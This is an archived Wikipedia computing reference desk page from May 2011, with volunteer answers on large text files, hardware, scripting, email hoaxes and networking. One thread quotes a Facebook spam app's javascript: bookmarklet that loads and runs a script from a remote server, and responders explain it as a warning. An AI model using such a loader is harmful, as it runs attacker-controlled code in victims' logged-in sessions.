Welcome to the computing section
of the Wikipedia reference desk.

Select a section:

WP:RD/C

Want a faster answer?

Main page: Help searching Wikipedia

How can I get my question answered?

Select the section of the desk that best fits the general topic of your question (see the navigation column to the right).
Post your question to only one section, providing a short header that gives the topic of your question.
Type '~~~~' (that is, four tilde characters) at the end – this signs and dates your contribution so we know who wrote what and when.
Don't post personal contact information – it will be removed. Any answers will be provided here.
Please be as specific as possible, and include all relevant context – the usefulness of answers may depend on the context.
Note:
- We don't answer (and may remove) questions that require medical diagnosis or legal advice.
- We don't answer requests for opinions, predictions or debate.
- We don't do your homework for you, though we'll help you past the stuck point.
- We don't conduct original research or provide a free source of ideas, but we'll help you find information you need.

Ready? Ask a new question!

How do I answer a question?

Main page: Wikipedia:Reference desk/Guidelines

The best answers address the question directly, and back up facts with wikilinks and links to sources. Do not edit others' comments and do not give any medical or legal advice.

May 3

Let's go right to the end of the story...

How do I list the last few lines of a huge text file (say a GB), without my comp grinding to a halt ? I'm on Windows XP SP3. StuRat (talk) 00:22, 3 May 2011 (UTC)[reply]

Install Cygwin, and use the "tail" command. The first step, admittedly, is a bit of a barrier, and there's likely a way that doesn't require it. The thing is, though, that once you install Cygwin, you have all sorts of useful Unix commands available, to deal with just these sorts of questions. --Trovatore (talk) 00:37, 3 May 2011 (UTC)[reply]

(edit conflict) You could do this with the tail command, just download it from here (this version doesn't need Cygwin) as part of the pack for GNU utilities ported to Win32 and then run it from a command prompt with tail filename to show the last 10 lines and tail --help for other options. ZX81 ^talk 00:39, 3 May 2011 (UTC)[reply]

less (which, like tail has unix origins but is also available on Windows) is great at handling really large files, including allowing you to search through them and move back and forward. Just less foo.txt and hit G to move to the end. -- Finlay McWalter ☻ Talk 00:49, 3 May 2011 (UTC)[reply]

It doesn't appear to be available in my Windows XP SP3. StuRat (talk) 00:53, 3 May 2011 (UTC)[reply]

[1] -- Finlay McWalter ☻ Talk 00:57, 3 May 2011 (UTC)[reply]

Sometimes, more is less. The more command is available on Windows, and takes an argument +n, where n is a line number. Using the fc and find commands, you could try to figure out the last line number and tell more to display the file beginning at this line number (minus 1, 2 or whatever, since you said you wanted to view the last few lines). -- 78.43.60.13 (talk) 11:10, 3 May 2011 (UTC)[reply]

If Windows more functions as you describe, it will need to read the entire file in order to get to the end. For a very large file, this will take a long time. less will fseek to the end of a very large file, and so jumping to the end takes no time at all. -- Finlay McWalter ☻ Talk 20:47, 3 May 2011 (UTC)[reply]

The freeware Metapad editor http://liquidninja.com/metapad/ is said (in its full not "LE" version) to be able to handle any size of file. So load the file, then type Cntrl-End. TED Notepad is another useful editor, perhaps someone could combine the two. 92.15.10.74 (talk) 11:19, 3 May 2011 (UTC)[reply]

Of course, it is possible to avoid installing Cygwin and using the utilities provided by it. The original requirement is easily established with a simple ANSI C program, which will work just as well on Windows as it will on Unix. But of course there's the issue that it requires C programming skills, which not all computer users (whether on Windows or on Unix) have. JIP | Talk 19:44, 4 May 2011 (UTC)[reply]

Yes, I could write a program to do what the OP wants in about 5 minutes. Bubba73 ^{You talkin' to me?} 01:34, 8 May 2011 (UTC)[reply]

Need help figuring out what a facebook spam app does

Hey. There is an app on facebook which I suspect is spam for various reasons. One of which is that it gives you a set of instructions which lead you to paste and exectute this in your address bar:

javascript:(a=(b=document).createElement('script')).src='//dottot.info/os/d.php?'+Math.random(),b.body.appendChild(a);void(0)

the url: dottot.info/os/d.php appears to just have this source:

<script>window.top.location = 'http://www.redirect.am/?http://www.facebook.com';</script>

Which seems pretty same. But I don't quite understand what the math.random is for, and the append child part.

This is strictly for my own person entertainment and information. Thanks! Chris M. (talk) 02:50, 3 May 2011 (UTC)[reply]

IMVHO CreateElement() invoked on the document just creates a script element, but does not make it the document's part, and the call of appendChild performs that. Then the element gets rendered as a document body part, which results in executing the script and invoking d.php script.

Appending the random number prevents cacheing the document, i.e. it forces downloading it. This may serve two purposes: the dottot.info server gets informed about each computer affected by this script, and it can send different contents on each invocation.

Last but not least you don't know (I suppose) what the redirect.am server actually does. Don't blindly belive it name! Even if it eventually redirects the user back to facebook, it may not be 'pretty same' to get to facebook directly or through unknown 'redirect' system.
CiaPan (talk) 16:57, 3 May 2011 (UTC)[reply]

What it is doing is linking to Facebook while hiding who they are from Facebook. The javascript forces a load of the second script. The random ensures that it won't be pulled from cache. Instead, it is loaded fresh from the dottot server. Then, it reloads the main window with Facebook by going through a redirect page. -- kainaw ™ 17:41, 3 May 2011 (UTC)[reply]

Windows Task Manager

In Windows XP SP3, on the Performance tab in the Task Manager, the CPU usage chart has red and green lines. And, of course, they prefer to leave a large blank spot in the lower right corner where the legend would normally go. So, what do red and green represent (other than Xmas) ? StuRat (talk) 03:28, 3 May 2011 (UTC)[reply]

The green represents CPU usage, the red line is the Kernal times (whatever that is, perhaps someone can enlighten us). You can disable the red line in View-Show Kernal Times. General Rommel (talk) 04:42, 3 May 2011 (UTC)[reply]

There might be some enlightenment in Kernel (computing) (note spelling). AndrewWTaylor (talk) 08:23, 3 May 2011 (UTC)[reply]

Laptop Crashing

For the second time this month my laptop has crashed in a strange way. Both times I was watching video clips embedded in websites. This time I was watching a news summary on the BBC news website. I'm using Google Chrome to access the internet. When it crashes, the screen goes black, and the sound starts to skip and repeat the last sound before it crashed. It's hard to explain. It's a very, very fast repetition of the last millisecond's worth of sound. Both times the crash happened when I moved the mouse to click on another link. Once the screen's gone black and the audio is doing its skipping repetition, after about five seconds, the computer restarts itself. When it comes on it asks which recovery mode I want, i.e. normal or safety. Then it tells me that Windows recovered from an unexpected shut down. I've got Windows 7, the laptop is only four months old. Any suggestions what it might be, and what action to take? — Fly by Night (talk) 15:01, 3 May 2011 (UTC)[reply]

Those are symptoms I associate with "trying to play too much video on too little computer". That is, the graphics card, RAM, processor speed, etc., aren't up to the resolution and frame rate you are trying to view. If they have an option to watch a smaller video with fewer frames per second, try that. Also, rebooting and/or killing all other applications and tabs on your browser may free up more resources for when you play video. Try lowering the screen resolution (in addition to the video resolution), too. Anti-virus scans, update checks, and other things (which insist on running in the middle of your video viewing) might also be a problem. StuRat (talk) 20:59, 3 May 2011 (UTC)[reply]

Wikipedia:Reference desk/Archives/Computing/2010 October 28#Audio playback skipping when a program crashes explains the repeating audio. -- BenRG (talk) 21:01, 3 May 2011 (UTC)[reply]

It's not that StuRat. The processor is an Intel i5, I've got a 1 GB dedicated Nvidia GPU, and 4 GB DDR3 RAM. It's a relatively high end laptop designed for gaming. It was, like I said, a video clip on a news website. Those videos are playable on a mobile phone. — Fly by Night (talk) 20:00, 4 May 2011 (UTC)[reply]

OK, in that case, my next guess is that it's sharing a core with other processes which have a higher priority. Assuming you have a multi-core computer, perhaps you can use processor affinity to place it on it's own core and/or raise it's priority/lower priority on competing processes. StuRat (talk) 05:30, 5 May 2011 (UTC)[reply]

#!

I'm trying to write a greasemonkey userscript that will remove "#!" from urls. The following doesn't work and causes the browser to crash:

location.href = window.location.href.replace('#!', '');

What is wrong? 82.43.89.63 (talk) 18:16, 3 May 2011 (UTC)[reply]

When you assign a value to location.href, the browser will immediately load the new URL. Perhaps the greasemonkey script restarts every time a new URL is loaded and you've created an infinite loop.

You might use indexOf to test if the address actually contains #!, then only change it if needed. (indexOf returns -1 if the string isn't found.)

h = window.location.href;
if(h.indexOf("#!") >= 0)
{
  location.href = h.replace("#!","");
}

--Bavi H (talk) 02:05, 4 May 2011 (UTC)[reply]

Civilization V

Does anyone have any experience using the Civilization V World Builder? If so, then please let me know. I need some help. I've spent all day making a custom map, with custom cities and custom units. I've put the player starting points on the map too. But when I play the game it put settlers and unit in the wrong places; even on adjacent squares! The game ends in seven moves because they all attack their neighbours and wipe each other out. If you have any experience then please leave a note on my user talk page. Thanks. — Fly by Night (talk) 21:01, 3 May 2011 (UTC)[reply]

You might have better luck at Wikipedia's Entertainment Reference desk instead:Wikipedia:Reference_desk/Entertainment --Thebackofmymind (talk) 21:44, 5 May 2011 (UTC)[reply]

Strange email

I received an email that said:

 Dear Gmail users:

 Over the past few weeks, you may have noticed that Gmail's system has
 been getting slower. This is due to the increasing number of Gmail
 accounts. Since this occurrence, we have decided to delete accounts


 that are no longer in use. We will determine who's account is deleted
 depending on if you forward this message. If you would like to keep
 your account, then please send this to all of your contacts to let us


 know that your account is still in use. If this message is not sent to
 other accounts, your account will become invalid and your email may be
 taken by another loyal user. We are sorry if this may cause any
 inconvenience.



 Sincerely,

 Paul Buchheit (Creater of  Gmail)

from the email address sydnor.andre@gmail.com I was about to forward this to all my contacts but then I thought about the recent spam and phishing scams and I thought it might just be someone playing a prank. Is this real? Thanks. 72.128.95.0 (talk) 21:19, 3 May 2011 (UTC)[reply]

The email is complete rubbish - see http://www.snopes.com/computer/internet/overload.asp. You were correct in your thought. Exxolon (talk) 21:26, 3 May 2011 (UTC)[reply]

You should never forward anything to all your contacts.--Shantavira|^{feed me} 07:47, 4 May 2011 (UTC)[reply]

updated contact information (especially a new e-mail); proud announcement of and invitation to join the Internet platform you just spent $10,000,000 of your venture capitalists' money on; notice of your untimely demise (by your estate), etc etc. lots of times to forward something to all your contacts. 188.156.59.141 (talk) 04:56, 7 May 2011 (UTC)[reply]

May 4

Repairing broken OCLC/WorldCat links

Question: Is there a way to do something like universal search/replace? First, I need to search for "orlabs.oclc.org"? Then, I want to replace these characters with "www.worldcat.org". Finally, I want to check the edited hyperlink each time I make a change.

Background

In 157 articles, the "Selected works" section of an article about an academic may include a hyperlink which stopped working this week. For example, the article about an 18th century Japanese mathematician, Kurushima Kinai included this formerly effective, but now non-working link:

http://orlabs.oclc.org/identities/np-kurushima,%20yoshihiro$1757 久留島義太 -1757

I discovered that the link works if orlabs.oclc.org is changed to www.worldcat.org. In other words, only one part of the link needs to be modified; and the broken link will be fixed.

http://www.worldcat.org/identities/np-kurushima,%20yoshihiro$1757 久留島義太 -1757

Comparison text

"In a statistical overview derived from writings by and about Helen Hardacre, OCLC/WorldCat encompasses roughly 30+ works in 80+ publications in 3 languages and 5,000+ library holdings -- <:ref>http://www.oclc.org/research/activities/identities/default.htm WorldCat Identities: http://www.worldcat.org/identities/lccn-n83-129007 Hardacre, Helen 1949- </ref>"

Perhaps this is best handled one at time?

Is this an appropriate venue for posing a problem like this? If not, where should I have tried to bring this awkwardly explained issue? --Tenmei (talk) 01:51, 4 May 2011 (UTC)[reply]

There is a programmatic interface for making such edits with an external script. Because of the disruption potential you need pre-approval (WP:BOT). You could alternatively ask at WP:BOTREQ for someone else to do it. 69.111.194.167 (talk) 02:38, 4 May 2011 (UTC)[reply]

smime doc?

I just got an email I had been expecting from someone enclosing an attachment which is supposed to be a document I can view and printout. The attachment is named "smime.p7s" and when I click on (I'm on a mac), a dialogue box opens and asks me "do you want to add the certificate(s) from the file "smime.p7s" to a keychain?" Having no idea what this is, I nevertheless clicked add but didn't see anything happen. So basically, how do I open this document? I looked at the article on S/MIME and now realize its an encryption issue and after also reading there that "Not all email software handles S/MIME signatures, resulting in an attachment called smime.p7s that may confuse some people" but after apparently adding them to my keychain, whatever that is, and after choosing a different thing from the dropdown menu that is accessible when I try to open the doc, "Microsoft intermediate certificates" and clicking add, I still have no idea how to open this email. I thought maybe once I'd done this I needed to refresh this email and the encryption would then act the turn this doc into whatever its unencrypted form is, but no, I just downloaded another version of the same smime doc.--108.46.109.70 (talk) 10:04, 4 May 2011 (UTC)[reply]

Apparently, a p7s file is usually a digital signature. This is not a document, just a file that proves the authenticity of the email. I suspect the sender forgot to attach the document, or perhaps you are trying to open the wrong attachment. 130.88.134.113 (talk) 12:44, 4 May 2011 (UTC)[reply]

Tilde problems

I've recently started using this computer and found it has an annoying habit - it automatically inserts a space after a tilde. I've noticed this in both Word and IE. How do I get it to drop the space? It's running Office 2007. --Dweller (talk) 14:12, 4 May 2011 (UTC)[reply]

Odd. You might want to check whether Autocorrect is responsible. Tool, Autocorrect Options (in Word 2003). --Tagishsimon (talk) 14:20, 4 May 2011 (UTC)[reply]

Thanks. I've checked it (all the various different tabs) and can't seem to find the problem. Would that also control IE? I'm wondering if it's in the Windows settings, and/or possibly for this keyboard? --Dweller (talk) 14:42, 4 May 2011 (UTC)[reply]

It would not account for IE (which I didn't spot in your original question; apologies). Sadly I'm on a locked down machine so cannot fiddle in Control Panel to look for the next cause. --Tagishsimon (talk) 15:22, 4 May 2011 (UTC)[reply]

What OS are you running? What language is it running in? The first thing that came to mind for me was that there may be some double-byte oddity occurring where some portion of the system is set to single-byte text, it sees your tilde, interprets it as a double-byte character, and helpfully types two characters for you. Comet Tuttle (talk) 22:18, 4 May 2011 (UTC)[reply]

lpr with Cygwin

I have Cygwin on a Windows 7 machine. In my .bashrc file, I have tried

export PRINTER=\\\\myPrintServer\\myPrinter

Escaping the backslashes, which, when I type $lpr -D , gives me

Windows Printer Name = '\\myPrintServer\myPrinter.lnk' lpr: printer error: can't open '\\myPrintServer\myPrinter.lnk' for writing: The printer name is invalid.

But I didn't type the .lnk there and don't think I want it. If this is the problem, how do I get it to not append .lnk? If the problem is something else, I'm all ears.

Thanks! 20.137.18.50 (talk) 15:13, 4 May 2011 (UTC)[reply]

Unheated storage of Electronics

I have a lack of space in my apartment and am wondering how deadly to electronics it would be to store them in my unheated storage unit off of my balcony? It doesn't have any signs of water leaking in, but I wonder if the cold of winter months and humidity of spring might be damaging to components. The items in question are a couple of xboxs, the rock band instruments and a couple old computer towers/parts put aside for future hobby builds. Thanks for any insight. 142.244.35.91 (talk) 19:40, 4 May 2011 (UTC)[reply]

The manuals will have acceptable temperature ranges for both use and storage. The storage ranges on electronics are usually pretty high, but it's best to check each item individually. As far as worrying about humidity, you can store the parts in large bags with an appropriately sized Silica Gel Desiccant pack. They can be collected from electronics you buy, or bought for a few dollars online. My Xbox has a storage temperature range of around 0-150 degrees F. Caltsar (talk) 20:27, 4 May 2011 (UTC)[reply]

It's generally a bad idea to store electronics outside. Specifically, I've had experience with LCD displays being ruined by cold. I suggest you keep the electronics inside, and find something less delicate to store outside. StuRat (talk) 05:24, 5 May 2011 (UTC)[reply]

It might make a difference if we knew a general location. Advice about freezing LCDs would not be required if the OP was located in Mumbai, but excessive heat would be a concern. Googlemeister (talk) 18:21, 5 May 2011 (UTC)[reply]

You should also be careful when bringing anything into a warm environment from a cold one to avoid condensation - this would definitely not be good for electronics. AndyTheGrump (talk) 21:10, 5 May 2011 (UTC)[reply]

New iPod

I just got a replacement iPod Touch with my warranty. Is there any way to get all the songs from my old iPod on to the new iPod? I synced my old iPod before getting the replacement, but the songs that I bought directly on my iPod do not show up in the iTunes library. Can I still put these songs on? --Nick4404 yada yada yada What have I done? 22:57, 4 May 2011 (UTC)[reply]

Did I tunes create a backup of your iPod? You could try to put your ipod into "recover mode" and do a restore from itunes, i think.. Vespine (talk) 06:06, 5 May 2011 (UTC)[reply]

Except if I'm reading this correctly, s/he would have turned in the old one to receive the new one. Googling "redownload purchased itunes" yielded some hope, but I wasn't ever able to find a definite "yes," and how to do it, from Apple themselves. Good luck, though. Kingsfold (Quack quack!) 14:56, 5 May 2011 (UTC)[reply]

By default iTunes runs a backup every time you do a synch, so even if they don't have the original iPod anymore, the backup should still be on their computer. Vespine (talk) 23:50, 5 May 2011 (UTC)[reply]

May 5

Signal distance in CPUs

As I understand, since an electromagnetic wave travels at the speed of light, a CPU that uses a 3 GHz clock signal cannot have a conductor inside that is longer than 10 cm (since light travels 10 cm in 1/3E9 seconds), is this correct? Then, what about future optical based CPUs that may operate at a terahertz speed, shrinking the maximum signal length to something that won't fit inside the CPU, that is, is there a maximum speed when the size of the CPU cannot be made smaller to accomodate ever-increasing clock pulse speeds? —Preceding unsigned comment added by 83.226.142.75 (talk) 00:33, 5 May 2011 (UTC)[reply]

Your general idea is true. Of course, a conductor or light fiber with a propagation delay greater than the clock period could be used if the design of the system allowed for that bit of data to be processed during the next clock cycle, but I'm sure you didn't intend to consider such cases. Jc3s5h (talk) 01:02, 5 May 2011 (UTC)[reply]

I'm not precisely sure what you're saying here, but getting signals across the chip is not the main limiting factor in CPU design. At the bottom level, a signal shows up at a transistor, and it takes some time for the transistor to react. This happens super fast (and it speeds up a bit each time transistors get smaller), but it takes a long time relative to the amount of time it takes to cover the (usually pretty short) distance that the signal has to travel at close to light speed.

There's a lower limit to how many steps it takes to execute a single machine instruction. If chips operated by reading an instruction, executing it, writing the result to a register, and only then looking at the next instruction, they would probably run about ten or twenty times slower than they do (warning: I'm not a hardware expert, so this is super handwavey). Instead, chip designers use various instruction-level parallelism techniques to execute as many different things at once as possible. Cheating like this (since one instruction can depend on the result of a previous instruction) without ever getting caught is tough, so it's taken maybe twenty years to reach the current state of the art.

But now there's not much more performance to be squeezed from ILP, which is why clock speeds have basically stopped going up. So chip manufacturers, who would love to be able to double the speed of a processor by doubling the the number of transistors, have finally given up and started gluing multiple processors together, forming multicore machines. This essentially kicks the problem upstairs: now the compiler writer or programmer has two or four or forty cores, and has to figure out how to use them all. In order to make computers run faster, we now need programming languages that help programmers express computations in a parallelizable way, without making the various cores keep stopping and comparing notes. Paul (Stansifer) 01:21, 5 May 2011 (UTC)[reply]

Paul is correct in saying that, as chips are designed today, the speed of electromagnetic signals in the materials that the chip is made of is not the limiting factor. The speed at which a practical transistor can raise a 0 to a 1 on a long conductor, or lower a 1 to a 0, is slow enough that the conductor can be treated as a capacitor rather than a transmission line. I would say that in the case of long conductors, the limiting factor is the ability of the transistors on the input end of the conductor to raise or lower the voltage quickly, rather than the ability of the transistors on the output end of the conductor to react rapidly. Jc3s5h (talk) 01:38, 5 May 2011 (UTC)[reply]

(ec) The way the OP phrased his statement is incorrect, ("...a CPU that uses a 3 GHz clock signal cannot have a conductor inside that is longer than 10 cm"); but the point he's trying to get at is about timing and latency due to propagation delay.

There's no fundamental reason why a 10 cm conductor is an upper limit. A digital computer can have any length conductor connecting its components, so long as the signal integrity is preserved. But having a long conductor creates latency, and risks clock skew if many synchronous signals must travel along different paths. For this reason, semiconductor logic engineers must make sure that they can synthesize their circuit on a given transistor technology and meet timing requirements. You can read about how we actually design and optimize timing and circuit path-lengths in this (very technical) Timing Constraints and Optimization guide; or this slightly more accessible overview, Timing Constraints. As I said, there is no reason you couldn't have a 10-meter-long wire in your digital system, as long as the signal wasn't synchronously tied to a shorter signal path. A perfect example of this is wired- or wireless communications, in which digital signals propagate thousands of miles down copper wire or over the air. And, in many cases, those digital signals have fundamental frequencies well into the gigahertz range, and beyond. Nimur (talk) 01:44, 5 May 2011 (UTC)[reply]

If the speed of the processing unit (CPU/DSP/FPGA) is faster than the time it takes for the signal level to propagate along the conductor (copper or fibre) then the circuit has to use some kind of synchronization at all receivers both for arrival time and difference in arrival time between conductors (skew).

This can be seen in DDR DRAM that sends command and data together with a clock pulse. The DDR DRAM waits until it receives the clock pulse before validating the command and data. This is also a potential issue with PCI-X that can suffer from differences in propagation between conductors. And why PCI Express is a much more reliable design choice.

A slow computer like the Commodore 64 can safely assume that all conductors will have the same voltage faster than the clock cycle. And when speed goes up the wires will have to be viewed as telegraph transmission lines where the voltage on the same conductor will vary with the position along the line. Any sharp impedance variation along the conductor will behave according to the superposition principle and give a standing wave phenomena. Which is very bad in circuits where the conductor length is less than the ~10x wavelength. If I'm wrong someone please correct ;) I hope this section finds it's way into an article.. Electron9 (talk) 13:55, 6 May 2011 (UTC)[reply]

Headphones

Can anyone please recommend some quality over-the-ears headphones that don't have a massive amount of sound leakage under $50? 173.2.165.251 (talk) 01:47, 5 May 2011 (UTC)[reply]

JVC headphones are reasonable in tone quality and range from ~ $15 to professional-grade prices. Nimur (talk) 01:51, 5 May 2011 (UTC)[reply]

The lowest-cost quality headphones are the Grado SR 60, at US$80. Bubba73 ^{You talkin' to me?} 20:45, 5 May 2011 (UTC)[reply]

Just read the reviews, and DAMN! They must be a seriously amazing set of headphones! Thanks a bunch for the recommendation. 173.2.165.251 (talk) 12:00, 6 May 2011 (UTC)[reply]

I have their Alesandro Music Series 1. Really good. Bubba73 ^{You talkin' to me?} 16:01, 7 May 2011 (UTC)[reply]

silent dispatcher

While sorting through my alt+tab menu, I noticed a peculiar window called "silent dispatcher" that would refuse to show when I selected it. Within a few seconds, it mysteriously disappeared as it did appear. Google search only reveals some security company and law enforcement programs relating to the keyword "dispatcher". Does anyone know what this program is?

The other windows I had open were MS Word, a video on internet explorer and windows update. --Thebackofmymind (talk) 07:04, 5 May 2011 (UTC)[reply]

A dispatcher is called as part of the windows update process, so it probably wasn't anything sinister. We have a short paragraph at Scheduling (computing)#Dispatcher. I don't know the technicalities, so perhaps an expert can explain? Dbfirs 09:25, 5 May 2011 (UTC)[reply]

Thanks, it is reassuring to hear that it's possibly not malicious. But why would it be "silent"...now that's mysterious. --Thebackofmymind (talk) 09:59, 5 May 2011 (UTC)[reply]

This is probably a hidden window, never intended for user interaction, that became visible in the Alt+Tab menu because of some sort of bug. The window title ("silent dispatcher") is not supposed to be seen by you; it means something to the developer of the application. There are lots of hidden windows on your desktop at any given time. They are used for inter-process communication, since Windows allows processes to send messages to windows belonging to a different process. Acting on those messages could be called dispatching (see sense 6, the computing sense). -- BenRG (talk) 20:56, 5 May 2011 (UTC)[reply]

But we don't have enough information to identify which application is using this silent dispatch window. It's possible it could be malware, and it's equally possible that it isn't malware. If the OP is concerned, they should check what software is installed on their system. Nimur (talk) 21:13, 5 May 2011 (UTC)[reply]

I went over the add/remove programs in the control panel and all the details in the windows update and did not find anything on a "silent dispatcher". I also ran a full system scan on Norton but it only found a couple of tracking cookies. --Thebackofmymind (talk) 21:27, 5 May 2011 (UTC)[reply]

I really doubt that it's anything to worry about. I wouldn't worry if it showed up on my machine while I was running something like Windows Update. "Silent" just means (I assume) that it doesn't display any UI, and "dispatching" is something that every program does all of the time in many different ways.

There's a Microsoft utility called Spy++ that will list all current top-level windows, including hidden windows, and tell you what process they belong to. It doesn't seem to be available for free, but a web search turned up several imitators, including API Manager which is open source (I haven't tried it, though). On my desktop Spy++ shows upwards of 100 hidden windows, including one titled "NetscapeDispatchWnd" that belongs to Firefox. In response to your question on my user page, I don't know of any database of hidden windows. I tried a Google search for "silent dispatcher" but it turned up no relevant results except for this thread, to my surprise. -- BenRG (talk) 08:37, 6 May 2011 (UTC)[reply]

(edit conflict × with BenRG above) No, the dispatcher is not part of the update, it is just some internal Windows coding called by the update process. As Nimur says above, we don't have enough information to know whether it was part of the windows update or was part of some malware, so it is a wise precaution to run scanning software (possibly a different one in case Norton was compromised). You could also search for any files created or modified around the time you saw the window appear, but my gut instinct ( not guaranteed correct! ) is that it was just part of the normal windows update process. If you are really worried, try Ben's suggestion. Dbfirs 08:41, 6 May 2011 (UTC)[reply]

Web platform benchmarking

I'm looking for software that automatically benchmarks my web platform. Free/open-source preferred. Thank you. 212.68.15.66 (talk) 12:29, 5 May 2011 (UTC)[reply]

Do you mean a validator to ensure your web platform generates standards-compliant web-pages? The official suite of tools is provided here by W3C, the official World Wide Web standards consortium. Or are you seeking server side tools to allow you to profile and instrument the performance of your code? If so, start by reading Profiling (computer programming). We will need much more information about your implementation and what you seek to "benchmark" before we can provide meaningful advice on how to profile your code; profiling web applications runs the gamut from adding a few lines of JavaScript debug and timing information, to customizing your compilation process and running valgrind to analyze cache performance. Nimur (talk) 17:15, 6 May 2011 (UTC)[reply]

avg installer

Why has the AVG Installer icon suddenly started flashing on my task bar - I do not know whether to let it alter my hard drive so keep clicking on "Close Window" - using windows 7. AVG free programmed installed while ago. —Preceding unsigned comment added by Scotia8 (talk • contribs) 14:22, 5 May 2011 (UTC)[reply]

On Windows 7 any program that opens when you don't have it as the main window will automatically flash. For example, when you open MS word and you switch back to another window before it finishes loading will cause the icon to flash on the taskbar (the icons in the bottom). Another example is when you switch to another window before a download has completed on your web browser will also cause your web browser's icon to flash. So perhaps AVG had finished updating so it is now asking for your attention. --Thebackofmymind (talk) 21:33, 5 May 2011 (UTC)[reply]

Gigabit Ethernet link aggregation

When doing link aggregation with gigabit ethernet, is the performance increase linear? Will 2 links give 2× throughput? 4 links = 4 gigabit? What's the real world performance of 1-GigE anyway? 50% of bandwidth? 75%? --24.249.59.89 (talk) 16:14, 5 May 2011 (UTC)[reply]

The real world performance will depend on the sending side's ability to read data and the receiving end's ability to write data. Once you start combining multiple gigabit links, even without a full 1Gb added for each link, you'll start pushing up against the limits of the SATA connection to your storage device. A hard drive is unlikely to be able to read or write fast enough in real world situations to saturate a single gigabit connection. If you're using an SSD, you may see benefits from combining multiple gigabit connections if both ends of the connection are able to send and receive the data at speeds surpassing modern hard drives. This, of course, is only taking into account a single storage device at each end as well as only two computers. Depending on what sort of setup you're using, there may be benefits. The actual speeds you should reach, assuming ideal conditions and the ability to read or write data at speeds the link can handle will give you a bit less than 2Gbps for 2 links. Ideal conditions are almost never found in the real world though. Caltsar (talk) 16:54, 5 May 2011 (UTC)[reply]

Thanks! I have an 8-drive RAID 5 that can reach more than 800MB/sec. Fibre and 10GigE is way too expensive to deploy across multiple computers. Link aggregation looks like a far cheaper alternative, although it requires a little more setup. I've seen switches with both Static Aggregation and LACP. Switches that support LACP are the easiest to configure — pretty much plug and play, right? LACP automatically recognizes aggregated connections, right? (Forgive my ignorance, I've only learned all this since this morning!) --24.249.59.89 (talk) 18:59, 5 May 2011 (UTC)[reply]

(ec)Yes, if your hardware is fast enough to handle it. Once you surpass the physical limits of the hard drive, which is likely your first hurdle, you'll reach a limit with the bus or the CPU itself. I'm not sure which limit you'll hit first, because I've not used GigEs with high end multicore CPUs, nor SATA 3.0. Before you get there, you'll get pretty much linear increase in performance. The real world performance of GigE without taking into account the source and destination hardware limitations is about ~95% of bandwidth. --Wirbelwindヴィルヴェルヴィント (talk) 19:07, 5 May 2011 (UTC)[reply]

How can I tell which USB ports I have? Ubuntu PC

I mean type 1.0 or 2.0. 80.58.205.34 (talk) 17:05, 5 May 2011 (UTC)[reply]

gnome-device-manager lists the USB host controller interfaces, the versions of USB they support, and the devices connected to them. This info is also available (in a rather harder to parse format) from the hwinfo command. -- Finlay McWalter ☻ Talk 17:11, 5 May 2011 (UTC)[reply]

Memory and multi-core CPUs

Resolved

I've been looking at consumer desktop PCs with multi-core CPUs (2, 4, or 6). In each case it seems that the maximum amount of RAM is 4GB times the number of cores. These are 64-bit CPUs with a 64-bit operating system, so is there a reason why they are limited to 4GB per core? (I thought a 64-bit CPU with 64-bit OS would not have a limit that small.) Bubba73 ^{You talkin' to me?} 20:40, 5 May 2011 (UTC)[reply]

There's no technological reason for that limit, and I don't think it's a limit of any 64-bit version of Windows either. -- BenRG (talk) 21:00, 5 May 2011 (UTC)[reply]

It is very probable that this is a matter of "market segmentation"; assuming you can afford 16 GB of RAM, it seems unlikely that you cannot also afford a slight price increment between a two- and a four-core CPU; so that's how the vendor configures their pre-packaged systems. If you choose to buy a system and upgrade the processor or RAM yourself, you won't have any such limitation. Nimur (talk) 21:11, 5 May 2011 (UTC)[reply]

I have a four-core system on order, and the maximum RAM is 16GB. The two-core systems I looked at have a max of 8BG and the six-core max out as 24GB. Bubba73 ^{You talkin' to me?} 21:26, 5 May 2011 (UTC)[reply]

Like Nimur said, that's just their pre-packaged systems and if you build it yourself you'll have much more choice. For example I'm running an i7-920 (Quad core) with a DFI DK X58-T3eH6 motherboard which supports up to 24Gb of RAM (I'm only using 6Gb, but you get the point) and this isn't new either as I built this system way back in March 2009. ZX81 ^talk 21:46, 5 May 2011 (UTC)[reply]

But these seem to have memory slots for only 4GB per core on the motherboard. According to Crucial, these are the maximums you can put in them. Bubba73 ^{You talkin' to me?} 23:41, 5 May 2011 (UTC)[reply]

The core's honestly have nothing to do with it, if the motherboard only supports maximum of 4Gb per slot, get a motherboard with 6 slots (4Gb * 6 = 24Gb total). Likewise if a motherboard supports a quad core processor, it's more than likely going to also support a dual core processor, which would then also break your logic (as a 16Gb max motherboard would then be 8Gb per core). Core's aren't related to the amount of RAM the motherboard can use, they're two completely different things. Once you get to 256Gb of RAM it gets more complicated, but until that point it's down to the hardware you're buying. ZX81 ^talk 00:27, 6 May 2011 (UTC)[reply]

As far as I can tell, the only way to get a mobo cable of 24GB from Dell is with a six-core CPU. Bubba73 ^{You talkin' to me?} 02:38, 6 May 2011 (UTC)[reply]

I don't know if the following links will works, but there's 89 motherboards on Newegg.com that support 32Gb of RAM and in the server section there's two that support 256Gb (and quite a few in between). Hope this helps! ZX81 ^talk 03:10, 6 May 2011 (UTC)[reply]

Intel artificially limits the memory supported by the consumer-grade Core i7 line (e.g. 24 GB for i7-980X). This is intentional to differentiate these chips from the functionally similar Xeon server chip line which in general support much higher amounts of maximum memory (e.g. 288 GB for X5650). Dragons flight (talk) 00:46, 6 May 2011 (UTC)[reply]

Thanks, that may explain it. I have been looking at i7. Bubba73 ^{You talkin' to me?} 02:38, 6 May 2011 (UTC)[reply]

Well, this Intel page shows the i7-2600 I'm getting, four cores, but supports up to 32GB of RAM, which shoots down my 4GB/core observation. Bubba73 ^{You talkin' to me?} 02:51, 6 May 2011 (UTC)[reply]

Where can i find tutorials on how to create discussion forum with Amaya or Kompozer

Can anyone give me some links or tutorials on how to build forums with kompozer or Amaya, i want to start one right away. thank you —Preceding unsigned comment added by 64.183.42.24 (talk) 20:53, 5 May 2011 (UTC)[reply]

I'm afraid those applications will be of little help to you.

¦ Reisio (talk) 22:31, 5 May 2011 (UTC)[reply]

Shutting down...

Hello all. I recently got a new Win7 laptop and three times now, when I go to shut it down it says Shutting down... with the circle thing but then it doesn't shut down, it just says "Shutting down..." for hours (and each time I have had to do a hard shut down which is not good) I haven't installed any software except for the Updates recommended by Windows, and in fact it seems that every time this has happened first it says "Configuring updates" or something to that effect, but after it says it's done and now will shut down, it doesn't. 72.128.95.0 (talk) 21:06, 5 May 2011 (UTC)[reply]

